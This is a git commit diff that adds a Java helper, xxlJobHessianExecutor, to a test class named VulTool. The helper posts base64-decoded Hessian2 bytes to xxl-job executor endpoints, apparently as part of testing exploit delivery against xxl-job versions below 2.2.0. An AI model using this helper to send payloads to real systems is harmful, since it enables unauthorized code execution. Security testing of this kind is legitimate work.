feat: suitable for xxl-job < 2.2.0 #151

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent 556c9d63ff
commit 29c19a318f
19 changed files with 544 additions and 38 deletions
@@ -6,6 +6,7 @@ import okhttp3.*;
import org.junit.jupiter.api.Assertions;
import java.io.IOException;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -78,6 +79,23 @@ public class VulTool {
}
}
@SneakyThrows
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
OkHttpClient client = new OkHttpClient();
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Connection", "close")
.build();
log.info("sending hessian2 xxl-rpc request to: {}", url);
try (Response response = client.newCall(request).execute()) {
log.info("xxl-rpc hessian2 response code: {}", response.code());
Thread.sleep(1000);
}
}
@SneakyThrows
public static void xxlJobExecutor(String url, String data) {
OkHttpClient client = new OkHttpClient();